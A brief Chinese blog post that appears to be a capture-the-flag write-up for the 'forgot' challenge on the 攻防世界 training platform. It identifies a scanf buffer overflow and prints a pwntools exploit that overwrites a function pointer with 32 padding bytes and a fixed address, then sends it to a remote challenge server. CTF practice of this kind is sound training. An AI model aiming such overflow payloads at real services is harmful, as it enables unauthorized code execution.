攻防世界(14):forgot

查壳,没开栈保护和NX

这个题目的ida变量有点多,慢慢读


fgets没啥漏洞,原来漏洞在scanf这里

然后查找有没有system函数,没有需要利用第一个fgets写,但这里还是有的,把v3改成我们需要的函数名即可

exp

#!/usr/bin/env python
from pwn import *
p=remote('111.200.241.244', 51696)
p.recvuntil(">")
p.sendline('123')
payload='A'*32+p32(0x080486cc)
p.recvuntil(">")
p.sendline(payload)

p.interactive()
posted @ 2021-02-27 14:20  triplewings  阅读(83)  评论(0编辑  收藏  举报